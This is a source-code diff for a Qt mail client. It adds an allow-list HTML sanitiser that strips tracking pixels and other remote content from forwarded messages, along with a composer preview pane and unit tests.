m_forwardPreview->setObjectName(QStringLiteral("forwardPreview")); + auto *previewLayout = new QVBoxLayout(m_forwardPreview); + previewLayout->setContentsMargins(0, 0, 0, 0); + + auto *label = new QLabel( + tr("Forwarded message, sent as it arrived:"), m_forwardPreview); + label->setObjectName(QStringLiteral("forwardPreviewLabel")); + previewLayout->addWidget(label); + + // **QTextBrowser, not a QWebEngineView.** A web view would mean a second + // Chromium render process per composer window and a second copy of + // MessageView's protections (the off-the-record profile, JavaScript off, + // the interceptor that fails closed), which is a lot of security surface + // for a preview. QTextBrowser renders Qt's own HTML subset, is read-only, + // and fetches nothing on its own. + // + // The consequence is deliberate and must be said in the UI rather than + // hidden: this shows the original ROUGHLY. Qt's subset is narrower than a + // mail client's, so the preview is an indication of content, not a + // faithful rendering of what the recipient will see. The label above says + // the message is sent as it arrived, so the user is not led to think this + // pane is what travels. + auto *view = new QTextBrowser(m_forwardPreview); + view->setObjectName(QStringLiteral("forwardPreviewBody")); + view->setOpenExternalLinks(false); + view->setOpenLinks(false); + + // The SANITISED markup when stripping is on, so the preview shows what + // will actually be sent rather than the original's own remote content. + // Re-rendered when the checkbox moves, for the same reason. + view->setHtml(HtmlSanitiser::stripRemoteContent(m_forwardedHtmlRaw)); + previewLayout->addWidget(view); + + m_split->addWidget(m_forwardPreview); + + // 60/40, the user's ratio. Set as STRETCH FACTORS rather than as pixel + // sizes: the window has no meaningful width yet at construction, and a + // setSizes() against a zero-width splitter divides nothing. Stretch + // survives the first real resize, which pixels would not. + m_split->setStretchFactor(0, 6); + m_split->setStretchFactor(1, 4); + m_split->setSizes({ 600, 400 }); + + // The toggle, on the View half of the menus so it sits with the other + // things that show and hide. Only created for a forward that has a pane to + // toggle: an action that can never do anything is worse than none, which + // is the same reasoning the attachment row's Remove button follows. + m_showForwardAction = new QAction(tr("Forwarded message"), this); + m_showForwardAction->setObjectName(QStringLiteral("compose_show_forward")); + m_showForwardAction->setCheckable(true); + m_showForwardAction->setChecked(true); + m_showForwardAction->setToolTip( + tr("Shows the message being forwarded beside what you are writing.")); + connect(m_showForwardAction, &QAction::toggled, m_forwardPreview, + &QWidget::setVisible); + // Placed by buildMenuBar(), which runs after this. + + if (m_stripRemote) { + connect(m_stripRemote, &QCheckBox::toggled, view, + [this, view](bool strip) { + view->setHtml(strip ? HtmlSanitiser::stripRemoteContent( + m_forwardedHtmlRaw) + : m_forwardedHtmlRaw); + }); + } +} + +void ComposeWindow::buildStripRemoteControl() +{ + if (m_forwardedHtmlRaw.isEmpty() + || !HtmlSanitiser::hasRemoteContent(m_forwardedHtmlRaw)) { + return; + } + + m_stripRemote = new QCheckBox( + tr("Strip remote content from the forwarded message"), this); + m_stripRemote->setObjectName(QStringLiteral("stripRemote")); + + // **Checked by default, and that default is the security property.** The + // markup leaves this process and is rendered by the recipient's client, + // where none of MessageView's protections apply: forwarding a tracking + // pixel forwards the tracking, and the original sender learns that the + // forwarded copy was opened and by how many people. + m_stripRemote->setChecked(true); + m_stripRemote->setToolTip( + tr("Images and styles loaded from the internet are removed, so the " + "sender of the original cannot tell that you forwarded it. Uncheck " + "only for a sender you trust.")); + + connect(m_stripRemote, &QCheckBox::toggled, this, &ComposeWindow::markDirty); + + // Above the attachment row, which is where the other per-message controls + // sit. Inserted rather than appended: the body must keep its stretch. + if (auto *layout = qobject_cast<QVBoxLayout *>(centralWidget()->layout())) { + const int at = layout->indexOf(m_attachmentRow); + if (at >= 0) + layout->insertWidget(at, m_stripRemote); + else + layout->addWidget(m_stripRemote); + } +} + void ComposeWindow::extractForwardedAttachments() { if (m_context.kind != ComposeContext::Kind::Forward @@ -353,7 +489,17 @@ void ComposeWindow::buildUi() m_body = new QPlainTextEdit(central); m_body->setObjectName(QStringLiteral("body")); - layout->addWidget(m_body, 1); + + // The editor lives in a splitter so an HTML forward can put the forwarded + // message BESIDE it rather than under it (item 171, the user's choice + // 2026-08-27). With nothing to show the splitter holds one widget and is + // indistinguishable from the plain editor it replaces, so every other + // composer is unaffected. + m_split = new QSplitter(Qt::Horizontal, central); + m_split->setObjectName(QStringLiteral("composeSplit")); + m_split->setChildrenCollapsible(false); + m_split->addWidget(m_body); + layout->addWidget(m_split, 1); // The attachment list, with Remove beside it: the control acts on the // list, so it lives with it, and both appear only once something is @@ -719,6 +865,13 @@ void ComposeWindow::buildMenuBar() // copy of its entries would go stale on the next rebuild. QAction *signature = format->addMenu(m_signatureSwitch->menu()); signature->setText(tr("Signature")); + + // Item 171. Only on a forward that has a pane to toggle; an action that + // can never do anything is worse than no action at all. + if (m_showForwardAction) { + format->addSeparator(); + format->addAction(m_showForwardAction); + } } void ComposeWindow::seedFields() @@ -791,6 +944,17 @@ void ComposeWindow::seedBody() if (m_context.quotedBody.isEmpty()) return; + // Item 171. An HTML forward carries the original as MARKUP, so seeding the + // text quote here would put something in the buffer that the sent message + // does not contain: the user could edit it and the edits would be + // discarded silently. The preview below the editor shows what is actually + // carried. A PLAIN forward is untouched, because there the quote in the + // buffer IS what gets sent. + if (m_context.kind == ComposeContext::Kind::Forward + && !m_forwardedHtmlRaw.isEmpty()) { + return; + } + // Applied when the window opens and never again. The buffer is text the // user owns after that, and there is deliberately no live toggle: // tracking "my text" and "the quote" as separate pieces to make a toggle @@ -1016,6 +1180,18 @@ OutgoingMessage ComposeWindow::currentMessage() const message.subject = m_subject->text(); message.markdownBody = m_body->toPlainText(); message.sendHtml = m_sendHtml->isChecked(); + + // Item 171. Sanitised HERE rather than at parse time, so the control can + // be toggled without re-reading the file, and so the raw markup is never + // what reaches OutgoingMessage by default. The checkbox only exists when + // there is remote content to strip; without it the raw markup IS the safe + // markup, which is why the fallback is `true` rather than `false`. + if (!m_forwardedHtmlRaw.isEmpty()) { + const bool strip = m_stripRemote ? m_stripRemote->isChecked() : true; + message.forwardedHtml = + strip ? HtmlSanitiser::stripRemoteContent(m_forwardedHtmlRaw) + : m_forwardedHtmlRaw; + } message.attachments = m_attachments; message.inReplyTo = m_context.inReplyTo; message.references = m_context.references; diff --git a/src/composewindow.h b/src/composewindow.h index c8cc12a..9affce1 100644 --- a/src/composewindow.h +++ b/src/composewindow.h @@ -34,6 +34,7 @@ class QAction; class QCheckBox; +class QSplitter; class QComboBox; class QLabel; class QLineEdit; @@ -223,6 +224,15 @@ private: /// MessageBuilder refuses a build naming any path that later vanishes, so /// a silently wrong send is not among the outcomes. void extractForwardedAttachments(); + + /// Reads the forwarded original's HTML, before the body is seeded. + void readForwardedHtml(); + + /// Creates the strip-remote-content checkbox, for a forward that needs it. + void buildStripRemoteControl(); + + /// Creates the read-only preview of what an HTML forward will carry. + void buildForwardPreview(); void seedBody(); /// Applies \p name to the buffer, replacing whatever is there. @@ -300,6 +310,27 @@ private: QComboBox *m_from = nullptr; QPlainTextEdit *m_body = nullptr; QToolButton *m_sendHtml = nullptr; + + /// Item 171. Strips remote content from the forwarded original, checked by + /// default. Only created for a Forward whose original carries remote + /// content, so an ordinary message gains no control. + QCheckBox *m_stripRemote = nullptr; + + /// Read-only view of the original an HTML forward will carry. Item 171: + /// the buffer holds the user's note only, so this is what makes the rest + /// of the message visible without pretending it can be edited. + QWidget *m_forwardPreview = nullptr; + + /// Holds the editor, and the forward preview beside it when there is one. + QSplitter *m_split = nullptr; + + /// Shows and hides the forwarded-message pane. Only for a forward. + QAction *m_showForwardAction = nullptr; + + /// The forwarded original's HTML, as read from `originalPath` at + /// construction. Held raw; the stripping happens at currentMessage(), + /// so toggling the control does not need a re-parse. + QString m_forwardedHtmlRaw; QToolButton *m_signatureSwitch = nullptr; QString m_signatureDir; QString m_signatureName; ///< The selected signature, empty for None. diff --git a/src/htmlsanitiser.cpp b/src/htmlsanitiser.cpp new file mode 100644 index 0000000..656f4fd --- /dev/null +++ b/src/htmlsanitiser.cpp @@ -0,0 +1,336 @@ +/* + * qtmaildir - a Qt6 mail client for notmuch-indexed Maildirs + * Copyright (C) 2026 Danilo M. <danix@danix.xyz> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include "htmlsanitiser.h" + +#include <QRegularExpression> +#include <QSet> +#include <QStringList> + +namespace { + +/// Elements that exist to fetch or redirect, removed with their content. +/// +/// `script` and `style` carry their payload as TEXT, so emptying an attribute +/// would leave the fetch intact; the element goes whole. `style` is here even +/// though CSS is otherwise kept, because a block can carry `@import` and +/// `url()` and rewriting inside it is the same problem as the attribute case +/// with different terminators. Presentational styling survives through +/// `style=""` attributes, which are handled per attribute below. +const QSet<QString> &elementsRemovedWhole() +{ + static const QSet<QString> set = { + QStringLiteral("script"), QStringLiteral("style"), + QStringLiteral("iframe"), QStringLiteral("object"), + QStringLiteral("embed"), QStringLiteral("applet"), + QStringLiteral("frame"), QStringLiteral("frameset"), + }; + return set; +} + +/// Void elements that fetch or redirect and have no closing tag. +const QSet<QString> &voidElementsRemoved() +{ + static const QSet<QString> set = { + QStringLiteral("link"), QStringLiteral("base"), + QStringLiteral("meta"), + }; + return set; +} + +/// True when \p value names something that would be fetched from off-message. +/// +/// The test is on the SCHEME, never on a substring: a `cid:` id may legitimately +/// contain "https" (`cid:https-logo@example.org`), and stripping that would +/// destroy a valid inline reference. +/// +/// Everything that is not plainly a `cid:` or a same-document fragment counts +/// as remote. That is the allow-list rule: an unanticipated scheme is remote by +/// default rather than by enumeration. +bool valueIsRemote(const QString &value) +{ + const QString trimmed = value.trimmed(); + if (trimmed.isEmpty()) + return false; + + // Protocol-relative: no scheme, still fetches, and a check for "http" + // misses it entirely. + if (trimmed.startsWith(QLatin1String("//"))) + return true; + + // A same-document fragment or a bare relative path fetches nothing new in + // a mail context and carries no scheme to judge. + const qsizetype colon = trimmed.indexOf(QLatin1Char(':')); + if (colon < 0) + return !trimmed.startsWith(QLatin1Char('#')) ? false : false; + + const QString scheme = trimmed.left(colon).toLower(); + + // A colon can appear in a relative path with no scheme before it; a scheme + // is letters, digits, '+', '-', '.' only. + static const QRegularExpression schemeShape( + QStringLiteral("^[a-z][a-z0-9+.-]*$")); + if (!schemeShape.match(scheme).hasMatch()) + return false; + + return scheme != QLatin1String("cid"); +} + +/// True when a CSS fragment reaches the network. +/// +/// `url()`, `@import` and `image-set()` all fetch, in a `style=""` attribute +/// and in a block alike. The bare `url(...)` form terminates on ')' rather +/// than on a quote, which is why this is a pass of its own rather than the +/// attribute logic reused. +bool cssIsRemote(const QString &css) +{ + static const QRegularExpression url( + QStringLiteral("url\\s*\\(\\s*['\"]?([^'\")]*)"), + QRegularExpression::CaseInsensitiveOption); + + auto it = url.globalMatch(css); + while (it.hasNext()) { + if (valueIsRemote(it.next().captured(1))) + return true; + } + + static const QRegularExpression atImport( + QStringLiteral("@import\\s+['\"]?([^'\";]*)"), + QRegularExpression::CaseInsensitiveOption); + auto imports = atImport.globalMatch(css); + while (imports.hasNext()) { + const QString target = imports.next().captured(1).trimmed(); + // `@import url(...)` is already covered by the url() pass; a bare + // `@import "x.css"` is not. + if (!target.startsWith(QLatin1String("url"), Qt::CaseInsensitive) + && valueIsRemote(target)) { + return true; + } + } + + // image-set() wraps url() in every real spelling, so the url() pass above + // covers it; a bare image-set("x.png") is caught here. + static const QRegularExpression imageSet( + QStringLiteral("image-set\\s*\\(\\s*['\"]([^'\"]*)"), + QRegularExpression::CaseInsensitiveOption); + auto sets = imageSet.globalMatch(css); + while (sets.hasNext()) { + if (valueIsRemote(sets.next().captured(1))) + return true; + } + + return false; +} + +/// One attribute, as parsed out of a tag. +struct Attribute +{ + QString name; ///< Lowercased. + QString raw; ///< The whole `name="value"` source, to re-emit verbatim. + QString value; ///< Unquoted. +}; + +/// Splits the inside of a tag into its attributes. +/// +/// Tolerates the three quoting forms and whitespace or newlines around '=', +/// all of which are real in mail and each of which alone defeats a naive +/// pattern. +QList<Attribute> parseAttributes(const QString &inner) +{ + QList<Attribute> out; + + static const QRegularExpression attr( + QStringLiteral("([a-zA-Z_:][-a-zA-Z0-9_:.]*)" // name + "(?:\\s*=\\s*" // = with space + "(?:\"([^\"]*)\"|'([^']*)'|([^\\s>]+))" // 3 quotings + ")?")); + + auto it = attr.globalMatch(inner); + while (it.hasNext()) { + const QRegularExpressionMatch m = it.next(); + Attribute a; + a.name = m.captured(1).toLower(); + a.raw = m.captured(0); + for (int group : { 2, 3, 4 }) { + if (m.hasCaptured(group)) { + a.value = m.captured(group); + break; + } + } + out.append(a); + } + + return out; +} + +/// True when this attribute must not survive, whatever element carries it. +bool attributeIsUnsafe(const Attribute &attr) +{ + // Event handlers. The recipient's client most likely disables scripting, + // but that is their policy and not ours to assume for them. + if (attr.name.startsWith(QLatin1String("on"))) + return true; + + // CSS reaches the network from inside a style attribute. + if (attr.name == QLatin1String("style")) + return cssIsRemote(attr.value); + + // **The allow-list.** Every other attribute is judged by its VALUE rather + // than by whether the name was enumerated. This is the difference from + // HtmlBuilder::namespaceCids(), which names the attributes it rewrites and + // scopes srcset out: a missed rewrite is a broken image, a missed strip is + // a beacon. srcset, poster, data-*, and whatever HTML adds next are all + // handled here by default. + // + // srcset carries a LIST of "url descriptor" pairs, so each entry is + // judged; a single remote entry condemns the attribute. + for (const QString &piece : attr.value.split(QLatin1Char(','))) { + const QString candidate = piece.trimmed().section(QLatin1Char(' '), 0, 0); + if (valueIsRemote(candidate)) + return true; + } + + return false; +} + +/// The shared walk. \p report is called for anything that would be removed; +/// when \p rewrite is false the walk only reports, which is what +/// hasRemoteContent() needs. +QString walk(const QString &html, bool *foundOut) +{ + QString out; + out.reserve(html.size()); + bool found = false; + + static const QRegularExpression tag(QStringLiteral("<(/?)([a-zA-Z][^\\s/>]*)([^>]*)>")); + + // Matched by hand from `pos` rather than with globalMatch(): skipping a + // removed element's CONTENT moves pos forward, and globalMatch iterates + // over matches found against the original string, so it would hand back + // tags from inside the region just skipped. That produced duplicated + // output and a surviving iframe, caught by + // aFetchingElementIsRemovedWhole(). + qsizetype pos = 0; + while (true) { + const QRegularExpressionMatch m = tag.match(html, pos); + if (!m.hasMatch()) + break; + + out += html.mid(pos, m.capturedStart() - pos); + pos = m.capturedEnd(); + + const bool closing = !m.captured(1).isEmpty(); + const QString name = m.captured(2).toLower(); + const QString inner = m.captured(3); + + if (elementsRemovedWhole().contains(name)) { + found = true; + if (!closing) { + // Drop the content too: for script and style it IS the payload. + const QRegularExpression until( + QStringLiteral("</\\s*%1\\s*>").arg(name), + QRegularExpression::CaseInsensitiveOption); + const QRegularExpressionMatch end = until.match(html, pos); + pos = end.hasMatch() ? end.capturedEnd() : html.size(); + } + continue; + } + + if (voidElementsRemoved().contains(name)) { + // meta is only dangerous as a refresh; the charset declaration is + // ordinary and harmless. + if (name == QLatin1String("meta")) { + bool refresh = false; + for (const Attribute &a : parseAttributes(inner)) { + if (a.name == QLatin1String("http-equiv") + && a.value.trimmed().compare(QLatin1String("refresh"), + Qt::CaseInsensitive) == 0) { + refresh = true; + } + } + if (!refresh) { + out += m.captured(0); + continue; + } + } + found = true; + continue; + } + + if (closing) { + out += m.captured(0); + continue; + } + + // Rebuild the tag from the attributes that survive. + QStringList kept; + bool dropped = false; + for (const Attribute &a : parseAttributes(inner)) { + if (attributeIsUnsafe(a)) { + dropped = true; + continue; + } + kept.append(a.raw); + } + + if (dropped) + found = true; + + // An <img> whose src was the thing removed would render as a broken + // image icon in the recipient's client, which is noisier than the gap + // the design asks for. Drop the element instead, and only when it has + // nothing left to show. + if (dropped && name == QLatin1String("img")) { + bool hasSrc = false; + for (const QString &k : kept) { + if (k.startsWith(QLatin1String("src"), Qt::CaseInsensitive)) + hasSrc = true; + } + if (!hasSrc) + continue; + } + + QString rebuilt = QStringLiteral("<") + m.captured(2); + if (!kept.isEmpty()) + rebuilt += QLatin1Char(' ') + kept.join(QLatin1Char(' ')); + if (inner.trimmed().endsWith(QLatin1Char('/'))) + rebuilt += QLatin1Char('/'); + rebuilt += QLatin1Char('>'); + out += rebuilt; + } + + out += html.mid(pos); + + if (foundOut) + *foundOut = found; + return out; +} + +} // namespace + +QString HtmlSanitiser::stripRemoteContent(const QString &html) +{ + return walk(html, nullptr); +} + +bool HtmlSanitiser::hasRemoteContent(const QString &html) +{ + bool found = false; + walk(html, &found); + return found; +} diff --git a/src/htmlsanitiser.h b/src/htmlsanitiser.h new file mode 100644 index 0000000..52257d5 --- /dev/null +++ b/src/htmlsanitiser.h @@ -0,0 +1,84 @@ +/* + * qtmaildir - a Qt6 mail client for notmuch-indexed Maildirs + * Copyright (C) 2026 Danilo M. <danix@danix.xyz> + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#pragma once + +#include <QString> + +/// Makes a stranger's HTML safe to put INSIDE A MESSAGE WE SEND. +/// +/// Item 171. This is not the message pane's problem restated: the pane renders +/// hostile markup TO THE USER, behind protections that live in `MessageView` +/// (an off-the-record profile, JavaScript disabled, and `RequestInterceptor` +/// blocking every request by default and failing closed). **None of those +/// apply to a forward.** The markup leaves this process and is rendered by +/// somebody else's client, under their policy, on their machine, and the +/// interceptor cannot help because it intercepts requests WE would make. +/// +/// So the sanitising happens to the bytes, before `MessageSender` sees them, +/// and there is no second line of defence behind it. Forwarding a tracking +/// pixel forwards the tracking: the original sender learns that the forwarded +/// copy was opened, by whom and how often, and the recipient never agreed to +/// that. +/// +/// **This is an ALLOW-LIST, and the distinction from `namespaceCids()` is the +/// whole design.** That function is a block-list: it names the attributes that +/// can carry a `cid:` and rewrites those, and it documents scoping `srcset=` +/// out because its quoting grammar differs. That trade is correct for +/// rewriting and wrong here, because the two failures are not comparable: +/// +/// | | a missed reference means | +/// |---|---| +/// | `namespaceCids` (rewrite) | one broken image | +/// | this (strip) | a beacon reaching the recipient | +/// +/// Anything not recognised is therefore REMOVED rather than kept. A new +/// attribute, an unanticipated quoting form, a `srcset`, a CSS `image-set()`, +/// an `@import`: each is handled by the default, not by having been enumerated +/// in advance. +/// +/// The invariant every test asserts, and the one to preserve under any edit: +/// **after sanitising, no attribute value and no CSS construct contains a URL +/// whose scheme is anything but `cid:`.** +namespace HtmlSanitiser { + +/// \p html with every remote-fetching construct removed. +/// +/// `cid:` references are KEPT: they travel inside the message, fetch nothing, +/// and are what lets an inline logo survive a forward. Structural and +/// presentational markup is kept too, `style=""` included, with its remote +/// constructs removed. +/// +/// Removed: any attribute value carrying a non-`cid:` URL (`http:`, `https:`, +/// protocol-relative `//host/path`, `data:`, `file:`); the elements that exist +/// to fetch or redirect (`link`, `script`, `iframe`, `object`, `embed`, +/// `base`, and `meta http-equiv="refresh"`); CSS `url()`, `@import` and +/// `image-set()` naming anything but a `cid:`; and event-handler attributes. +/// +/// A stripped `<img>` leaves a gap. That is correct, and must not be papered +/// over with a placeholder that itself fetches. +QString stripRemoteContent(const QString &html); + +/// True when \p html carries anything `stripRemoteContent()` would remove. +/// +/// Drives the composer's control: the checkbox is only worth showing for a +/// message that actually has remote content. Never used to DECIDE whether to +/// strip, only whether to offer the choice. +bool hasRemoteContent(const QString &html); + +} // namespace HtmlSanitiser diff --git a/src/messagebuilder.cpp b/src/messagebuilder.cpp index 42a0e31..fe23862 100644 --- a/src/messagebuilder.cpp +++ b/src/messagebuilder.cpp @@ -320,7 +320,40 @@ Result build(const OutgoingMessage &message, const Account &account) // second renderer whose output could disagree with the HTML one. GMimeObject *body = GMIME_OBJECT(makeTextPart("plain", message.markdownBody)); - if (message.sendHtml) { + // Item 171. A FORWARD sends one part, not an alternative, at the user's + // decision 2026-08-27: the Send-as-HTML toggle chooses which. A forward is + // a message whose shape the user has already decided by flipping that + // toggle, and sending both halves hands the choice to the recipient's + // client instead. + // + // The toggle is honoured even when the original had no plain-text part: + // with it off, an HTML-only original goes out as the text fallback that + // quoteBody() produced, and the formatting is lost. Chosen over forcing + // HTML for those messages, so the toggle means what it says. + // + // The markup arrives ALREADY SANITISED: whether to strip remote content is + // the user's per-forward choice, which a builder cannot see. Nothing is + // escaped here, deliberately, because this IS markup and escaping it would + // ship a message full of visible tags. + const bool forwarding = !message.forwardedHtml.isEmpty(); + + if (forwarding && message.sendHtml) { + // The original below the user's own text, separated by a rule so the + // two read as different messages. The plain part built above is + // discarded: this replaces it rather than joining it. + // `markdownBody` is the user's own note ALONE: the composer does not + // seed a text quote on an HTML forward, precisely so that what it + // shows and what it sends are the same thing (item 171). An earlier + // build seeded the quote and stripped it again here, which meant the + // user could edit a quote whose edits were discarded; the fix belongs + // at the composer, not in a subtraction here. + const QString htmlSource = MarkdownRenderer::toHtml(message.markdownBody) + + QStringLiteral("\n<hr>\n") + + message.forwardedHtml; + GMimePart *html = makeTextPart("html", htmlSource); + g_object_unref(body); + body = GMIME_OBJECT(html); + } else if (!forwarding && message.sendHtml) { GMimePart *html = makeTextPart("html", MarkdownRenderer::toHtml(message.markdownBody)); GMimeMultipart *alternative = g_mime_multipart_new_with_subtype("alternative"); // Least-rich FIRST. A client renders the LAST alternative it diff --git a/src/types.h b/src/types.h index c78ab76..8e24cd1 100644 --- a/src/types.h +++ b/src/types.h @@ -378,6 +378,21 @@ struct OutgoingMessage QStringList attachments; ///< Local paths, read at build time. QString inReplyTo; QStringList references; + + /// Item 171. The forwarded original's HTML, already sanitised, appended to + /// the HTML alternative below the user's own text. + /// + /// Empty for everything but a Forward of a message that had an HTML part. + /// Carrying it here rather than re-parsing at build time keeps + /// MessageBuilder a pure function of this struct, which is what lets the + /// MIME nesting be tested without a file on disk. + /// + /// **Sanitised by the CALLER**, with HtmlSanitiser::stripRemoteContent(), + /// because whether to strip is the user's per-forward choice and a + /// builder cannot see a checkbox. The one exception to that rule is the + /// user deliberately unchecking it. + QString forwardedHtml; + }; Q_DECLARE_METATYPE(ThreadSummary) diff --git a/tests/CMakeLists.txt b/tests/CMakeLists.txt index 2cb3651..1646028 100644 --- a/tests/CMakeLists.txt +++ b/tests/CMakeLists.txt @@ -49,6 +49,7 @@ target_compile_definitions(test_mimeparser PRIVATE FIXTURE_DIR="${CMAKE_CURRENT_SOURCE_DIR}/fixtures") add_qtmaildir_test(interceptor) add_qtmaildir_test(htmlbuilder) +add_qtmaildir_test(htmlsanitiser) add_qtmaildir_test(notmuchworker) add_qtmaildir_test(tagcolors) add_qtmaildir_test(cardlayout) diff --git a/tests/test_composecontext.cpp b/tests/test_composecontext.cpp index bea390d..50b7ab3 100644 --- a/tests/test_composecontext.cpp +++ b/tests/test_composecontext.cpp @@ -96,6 +96,7 @@ private slots: // Quoting. void aQuotedBodyPrefixesEveryLine(); + void anHtmlOnlyBodyIsQuotedAsText(); private: QString writeConfig(const QString &contents); @@ -1124,5 +1125,57 @@ void TestComposeContext::aQuotedBodyPrefixesEveryLine() .arg(quotedCrlf))); } +/// Item 171's silent half. An HTML-only original has an EMPTY `plainBody`, so +/// quoting it produced an attribution line and nothing else: the content was +/// gone and nothing said so. Measured on the developer's own inbox 2026-08-27, +/// 30 of 342 sampled messages (~9%) declare text/html with no text/plain, so +/// this is not an edge case. +/// +/// The fallback renders the HTML down to text. It does NOT preserve +/// formatting, which is the separate half of item 171 and is answered by the +/// multipart/alternative build; this only guarantees the words survive. +void TestComposeContext::anHtmlOnlyBodyIsQuotedAsText() +{ + ParsedMessage message; + message.from = QStringLiteral("Sender <sender@example.org>"); + message.date = QStringLiteral("Thu, 20 Aug 2026 10:00:00 +0200"); + message.htmlBody = QStringLiteral( + "<p>Revenue rose <b>12%</b> against forecast.</p><ul><li>Region A</li></ul>"); + // plainBody deliberately empty: this is the shape that lost the content. + + const QString quoted = ComposeContextBuilder::quoteBody(message); + + QVERIFY2(quoted.contains(QStringLiteral("Revenue rose")), + qPrintable(QStringLiteral("the body was lost:\n%1").arg(quoted))); + QVERIFY2(quoted.contains(QStringLiteral("Region A")), + qPrintable(QStringLiteral("list content was lost:\n%1").arg(quoted))); + QVERIFY2(quoted.contains(QStringLiteral("12%")), + qPrintable(QStringLiteral("emphasised text was lost:\n%1").arg(quoted))); + + // Quoted like any other body, not dumped raw. + QVERIFY2(quoted.contains(QStringLiteral("> Revenue rose")), + qPrintable(QStringLiteral("the fallback is not quoted:\n%1").arg(quoted))); + + // Text, not markup: the plain half of a message must not carry tags. + QVERIFY2(!quoted.contains(QStringLiteral("<b>")), + qPrintable(QStringLiteral("markup reached the plain quote:\n%1").arg(quoted))); + QVERIFY2(!quoted.contains(QStringLiteral("<p>")), + qPrintable(QStringLiteral("markup reached the plain quote:\n%1").arg(quoted))); + + // A message WITH a plain part must keep using it, untouched: the fallback + // is for the empty case only, and rendering HTML over a real plain part + // would change every ordinary reply. + ParsedMessage both; + both.plainBody = QStringLiteral("the real plain part"); + both.htmlBody = QStringLiteral("<p>the html part</p>"); + const QString preferred = ComposeContextBuilder::quoteBody(both); + QVERIFY2(preferred.contains(QStringLiteral("> the real plain part")), + qPrintable(QStringLiteral("the plain part was not preferred:\n%1") + .arg(preferred))); + QVERIFY2(!preferred.contains(QStringLiteral("the html part")), + qPrintable(QStringLiteral("the html part was used anyway:\n%1") + .arg(preferred))); +} + QTEST_MAIN(TestComposeContext) #include "test_composecontext.moc" diff --git a/tests/test_composewindow.cpp b/tests/test_composewindow.cpp index 0da61ff..d95d55d 100644 --- a/tests/test_composewindow.cpp +++ b/tests/test_composewindow.cpp @@ -18,12 +18,14 @@ #include <QtTest> #include <QComboBox> +#include <QCheckBox> #include <QDir> #include <QFile> #include <QFileInfo> #include <QMenu> #include <QPlainTextEdit> #include <QSignalSpy> +#include <QSplitter> #include <QLabel> #include <QMenuBar> #include <QToolBar> @@ -64,6 +66,8 @@ private slots: void theMenuBarReachesEveryComposerAction(); void saveDraftWritesAndReports(); void aSavedDraftIsFlaggedSeen(); + void aForwardCarriesTheOriginalHtmlAndStripsRemoteContent(); + void anHtmlForwardPreviewsTheOriginalInsteadOfQuotingIt(); void theMenusReuseTheToolbarActions(); void theHtmlMenuItemTracksTheToolbarButton(); void theAgeLineFollowsTheClock(); @@ -800,6 +804,201 @@ void TestComposeWindow::aSavedDraftIsFlaggedSeen() "tags it unread, got %1").arg(flags))); } +/// Item 171, the composer half. A forward of an HTML message carries the +/// original's markup, with remote content stripped BY DEFAULT and a control to +/// keep it. +/// +/// The default is the security-relevant half: forwarding a tracking pixel +/// forwards the tracking, and the original sender learns the recipient opened +/// it. The user chose "ask per forward, default to strip" over always +/// stripping and over keeping everything. +void TestComposeWindow::aForwardCarriesTheOriginalHtmlAndStripsRemoteContent() +{ + const Config config = configWithDrafts(); + + // A real file on disk: the composer reads originalPath itself, exactly as + // extractForwardedAttachments() does, so a fixture built in memory would + // not exercise the path that runs. + const QString path = m_dir->path() + QStringLiteral("/original.eml"); + writeFile(path, QStringLiteral( + "From: Sender <sender@example.org>\r\n" + "To: someone@example.org\r\n" + "Subject: Quarterly report\r\n" + "Date: Wed, 26 Aug 2026 10:00:00 +0200\r\n" + "MIME-Version: 1.0\r\n" + "Content-Type: text/html; charset=utf-8\r\n" + "\r\n" + "<p>Revenue rose <b>12%</b>.</p>" + "<img src=\"https://tracker.example/px?id=abc\">\r\n")); + + ComposeContext context; + context.kind = ComposeContext::Kind::Forward; + context.accountKey = QStringLiteral("work"); + context.originalPath = path; + context.subject = QStringLiteral("Fwd: Quarterly report"); + + ComposeWindow window(context, config, m_dir->path()); + + auto *strip = window.findChild<QCheckBox *>(QStringLiteral("stripRemote")); + QVERIFY2(strip, "there is no strip-remote-content control on a forward"); + QVERIFY2(strip->isChecked(), + "stripping must be the DEFAULT: a forward must not leak a " + "tracking pixel to the recipient unless the user asks for it"); + + // Checked: the markup survives, the beacon does not. + const OutgoingMessage stripped = window.currentMessage(); + QVERIFY2(stripped.forwardedHtml.contains(QStringLiteral("Revenue rose")), + qPrintable(QStringLiteral("the original's markup was lost:\n%1") + .arg(stripped.forwardedHtml))); + QVERIFY2(stripped.forwardedHtml.contains(QStringLiteral("<b>")), + "the formatting was flattened, which is the defect being fixed"); + QVERIFY2(!stripped.forwardedHtml.contains(QStringLiteral("tracker.example")), + qPrintable(QStringLiteral("a tracking pixel survived:\n%1") + .arg(stripped.forwardedHtml))); + + // Unchecked: the user's explicit choice is honoured. + strip->setChecked(false); + const OutgoingMessage kept = window.currentMessage(); + QVERIFY2(kept.forwardedHtml.contains(QStringLiteral("tracker.example")), + "unchecking the control must actually keep the remote content"); + + // A New message has neither the control nor any forwarded markup. + ComposeContext fresh; + fresh.kind = ComposeContext::Kind::New; + fresh.accountKey = QStringLiteral("work"); + ComposeWindow plain(fresh, config, m_dir->path()); + QVERIFY2(plain.currentMessage().forwardedHtml.isEmpty(), + "a new message must carry no forwarded markup"); +} + +/// Item 171, the WYSIWYG half. **What the composer shows must be what gets +/// sent**, and for an HTML forward the editable buffer cannot be that. +/// +/// The first build seeded the text quote into the buffer and then dropped it +/// when building the HTML part, so the user could edit a quote whose edits +/// were silently discarded. That is worse than the defect it replaced: the +/// previous version at least sent what it displayed. +/// +/// So on an HTML forward the buffer holds the user's own note ONLY, and the +/// original appears in a read-only preview instead. 